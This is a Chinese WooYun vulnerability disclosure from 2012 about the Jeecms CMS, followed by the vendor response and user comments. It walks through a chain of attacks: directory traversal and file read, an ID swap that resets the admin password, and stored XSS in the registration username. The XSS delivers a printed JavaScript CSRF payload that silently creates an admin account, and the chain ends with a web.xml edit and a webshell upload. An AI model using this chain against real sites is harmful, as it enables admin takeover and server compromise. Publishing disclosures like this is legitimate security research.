当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-016204

漏洞标题:国内强大的Jeecms变形记,小小的xss变种到csrf在变种webshell(jeecms漏洞大集合)

相关厂商:江西金磊科技发展有限公司

漏洞作者: shack2

提交时间:2012-12-19 10:09

修复时间:2013-02-02 10:09

公开时间:2013-02-02 10:09

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-19: 细节已通知厂商并且等待厂商处理中
2012-12-24: 厂商已经确认,细节仅向厂商公开
2012-12-27: 细节向第三方安全合作伙伴开放
2013-02-17: 细节向核心白帽子及相关领域专家公开
2013-02-27: 细节向普通白帽子公开
2013-03-09: 细节向实习白帽子公开
2013-02-02: 细节向公众公开

简要描述:

特迎接世界末日的到来,今晚花了4个小时去研究了一下jeecms,来看看一个xss如何变种webshell的
测试版本:jeecms-2012-sp1
官网:http://www.jeecms.com
jeecms这个基于java开发的cms系统无比强大,现在已开源,有很多政府,学校,商业机构在使用,危害还是相当的大
白帽子们,拿出你们的末日day,放出来吧

详细说明:

我们直接进入主题
1.跨目录,跨权限,跨妹子
到jeecms官网演示站后台,瞧一瞧,目测到跨目录问题
直接浏览服务器根目录

a.jpg


由于家里网速较卡,而且官网演示站,很多功能被限制,我下载到本地搭建环境测试,继续
任意文件下载

.jpg


任意文件读取

d.jpg


2.这个我也不知道咋回事,我真的不知道,怎么可以修改别人的密码
创建一个res管理员

r_0.jpg


只能查看管理自己这个账号

r_1.jpg


拦截数据库包修改
将我自己这个管理员的编号id 8 修改成admin的id 1

r_2.jpg


r_3.jpg


发包,尼玛世界末日来了,我看见admin那妹子的账号了

r_4.jpg


昨天约妹子,和我吃个饭,不刁我的,看我改你密码,嘿嘿

r_5.jpg


登录一下妹子的账号admin

r_6.jpg


哈哈,成功进入,这下妹子,肯定要主动请我吃饭了,嘎嘎

r_8.jpg


好吧,我又在yy了,屌丝伤不起,活跃下气氛
go on........
3.我在思考
我在思考,这些东西的利用条件都要知道后台管理账号密码,利用还是比较困难
于是我想利用前段的留言评论,看能不能xss或者csrf
最后测试了一下,都过滤了,我伤心了
4.奇迹出现,大战即将开始
到前台看了下,到前台,必看注册
我还是在想xss妹子,最近找她太多,她烦我了,今天碰碰运气,看她理我不
这回我才xss妹子藏在注册用户名上

xss_0.jpg


果断burpsuite拦截数据,将xss妹子请出来

xss_1.jpg


奇迹,这次xss妹子,出来见我了

xss_2.jpg


xss妹子,还在后台分身和admin妹子开玩笑

xss_3.jpg


xss_3_0.jpg


xss妹子说躲在后面给我把admin妹子骗过来,我太兴奋了,看了一下长度100
嘎嘎,天助我泡妹子耶

xss_4.jpg


xss妹子说,光她一个人拿不下admin妹子,叫我喊csrf妹子来帮忙
但是csrf妹子说了叫我摸清后面添加管理员或者,修改管理妹子的基本参数和提交方法(get,post)
于是我去摸摸底
找到了,添加管理的,基本参数,请求方法

xss_csrf_1.jpg


于是为了进去后台拿下管理妹子,我写了一个javascript post提交,添加管理

xss_csrf_1_1.jpg


<script type="text/javascript">
var xmlHttp=null;
function createXMLHttpRequest(){
if(window.XMLHttpRequest){
xmlHttp=new XMLHttpRequest();
}
else{
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

}catch(ex){

xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
}

function sendRequest(){
//1.创建请求
if(xmlHttp==null)
{

createXMLHttpRequest();
}
var data="username=csrf&email=csrf@shack2.org&password=csrf&groupId=1&rank=5&realname=&gender=&selfAdmin=false&viewonlyAdmin=false&roleIds=1&siteIds=1&steps=1&allChannels=true";
xmlHttp.open("post","/jeeadmin/jeecms/admin_global/o_save.do",true);
//3.发送请求
xmlHttp.setRequestHeader("Context-Type","application/x-www-form-urlencoded");
xmlHttp.send(data);

}
</script>


哎,好久没写javascript,有点生疏了
写好,上传到了我的博客,待会调用
这里我就忽悠管理妹子,说我的密码忘了,还怎么怎么的,让他看会员管理,只要看了,就中招

xss_csrf_2.jpg


成功打入妹子内部

xss_csrf_3.jpg


5.拿到妹子整个系统控制权(webshell)
前面我们已经知道后台有任意文件下载,任意文件读取
其实这里还有任意文件上传,任意文件修改
由于有人作怪,把所有jsp请求全拦截了
所以我们要修改她的大脑web.xml
这里以前也有基友发过
WooYun: JEECMS后台任意文件编辑漏洞and官方漏洞及拿shell
开始利用模版管理跨目录,修改web.xml

shell_1.jpg


去掉对jsp的过滤器

shell_2.jpg


再就是突破文件上传
这里模版功能很强大,上传jsp文件html后缀,然后改名成jsp后缀
利用跨目录,上传菜刀马儿到根目录

shell_3.jpg


菜刀连接我的妹子

shell_4.jpg


ok,终于控制到了我的妹子了
哎,重8点熬到现在,1点,5个小时
只求妹子,没妹子,求rank

漏洞证明:

菜刀连接我的妹子

shell_4.jpg


ok,终于控制到了我的妹子了
哎,重8点熬到现在,1点,5个小时
只求妹子,没妹子,求rank

修复方案:

jeecms开源精神很好,希望再接再厉做好网站安全
建议在目录控制过滤掉../不让非跨目录读取
跨站xss没有过滤好,用户名这个这个地方,先别说跨后台管理妹子,跨其他用户也很爽额

版权声明:转载请注明来源 shack2@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2012-12-24 00:19

厂商回复:

CNVD根据白帽子提供的本地测试信息,尝试通过互联网方式远程测试,暂未在相关实例上复现。不过根据本地测试信息可以认定在有权限的情况下可以确认所述多种类型漏洞,已在21号由CNVD直接联系软件生产厂商。根据处置情况看是否通报相关用户。
按需要用户认证,多种类型漏洞进行综合评判,rank 14

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-19 10:10 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    碉堡

  2. 2012-12-19 10:17 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产;如遇接单收徒、绝非本人所...)

    之前只停留在xss上、并没深入

  3. 2012-12-19 10:20 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    ...碉堡,马克

  4. 2012-12-19 10:44 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    很多政府站在用。

  5. 2012-12-19 10:57 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    碉堡

  6. 2012-12-19 11:12 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    末日那天共享毛片 楼下你共享不

  7. 2012-12-19 11:21 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    你确定你的jsp能执行么?我也发过JEECMS: WooYun: JEECMS后台任意文件编辑漏洞and官方漏洞及拿shell 去年大年三十拿下了JEECMS主站和演示站。

  8. 2012-12-19 11:27 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @园长 改web.xml,嘿嘿

  9. 2012-12-19 11:30 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @shack2 第一你有权限改XML么?第二你写了shell也没有任何作用。JEECMS我也研究过几天,全是freemarker。后来我也改了官方的web.XML。不过是需要重启TOMCAT的。后来他们技术电话联系了我了解了下。他们7、8人开发,技术实力和对安全的重视真的非常不错的。

  10. 2012-12-19 12:47 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @园长 webx.xml可以改,tomcat重启确实需要,昨天测试的时候没重启,也行,估计是tomcat检测到webx.xml改变,自动重启了

  11. 2012-12-19 12:48 | 子墨 ( 普通白帽子 | Rank:194 漏洞数:22 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)

    原来“园长”就是“随风.潜入夜”的马甲呀...

  12. 2012-12-19 13:06 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @园长 jeecms的演示站是控制了权限的,我是下载的源码,本地搭建的测试环境

  13. 2012-12-19 13:15 | tnt1200 ( 普通白帽子 | Rank:121 漏洞数:17 | 关注飞机安全....)

    mark一下

  14. 2012-12-19 14:44 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @子墨 三个马甲,换着用。哈哈

  15. 2012-12-19 14:46 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @shack2 需要配置了自动reload不然就需要重启的。

  16. 2012-12-19 14:52 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @shack2 说JEECMS变态是有依据的,他们的展示层的视图用的是FTL模版,而非传统的JSP。起来老早我就开始推崇freemarker了,直接一个Filter啪啪啪,所有的视图后缀换成HTML,然后在HTML里面写ftl的循环数据就出来了。感觉比php smarty先进些。哈哈

  17. 2012-12-19 15:01 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @园长 确实很强,jeecms还是挺不错的一个java开源cms

  18. 2012-12-20 21:07 | 刺刺 ( 普通白帽子 | Rank:603 漏洞数:52 | 真正的安全并不是技术,而是人类善良的心灵...)

    凑个热闹,也下了个sp1看看,如果在后台登录的前提下,可以不用改人家的web.xml,或重启人家的tomcat,就可以运行jsp shell的。

  19. 2012-12-20 22:18 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    呢吗,现在懂java的这么多了,汗

  20. 2012-12-24 19:29 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    这个期待一下

  21. 2013-01-14 12:40 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    写的这么好 都没有人给个好评

  22. 2013-01-14 12:58 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @possible 我是给了

  23. 2013-01-14 14:24 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @xsser 我记得我是第一个给的 呵呵

  24. 2013-01-28 14:01 | 刺刺 ( 普通白帽子 | Rank:603 漏洞数:52 | 真正的安全并不是技术,而是人类善良的心灵...)

    写得很好呀,给个好评;既然图1已经可以跨目录了,可以直接跨出jeecms的目录;在tomcat的webapps的目录里面新加一个应用的目录,这样就不需要改jeecms的web.xml了。和tomcat管理后台上传war木马比较类似,只不过这里需要你建目录,将war里面的文件一个个传上去。(我本地也是SP1版本,如测试有出入,请牛牛勿鄙视,我也彩笔一只)

  25. 2013-01-28 16:05 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @刺刺 可以的

  26. 2013-01-28 17:04 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @刺刺 这思路非常不错,不过在这么做之前最好看下server.xml域名绑定哦亲。

  27. 2013-01-29 08:56 | 刺刺 ( 普通白帽子 | Rank:603 漏洞数:52 | 真正的安全并不是技术,而是人类善良的心灵...)

    @shack2 @园长 xss+csrf组合拳,那才是亮点,个人觉得在后台管理的伎俩再有变化也只不过是个窝里横,呵呵

  28. 2013-11-15 16:33 | 月清晖 ( 路人 | Rank:9 漏洞数:1 | some of what?)

    只看到了好多妹子。全文亮点以“妹子”为线索,贯穿全文,首尾呼应,本文极具文采。

  29. 2013-11-15 16:39 | Jesus ( 实习白帽子 | Rank:60 漏洞数:18 | 天地不仁,以万物为刍狗!)

    霸气。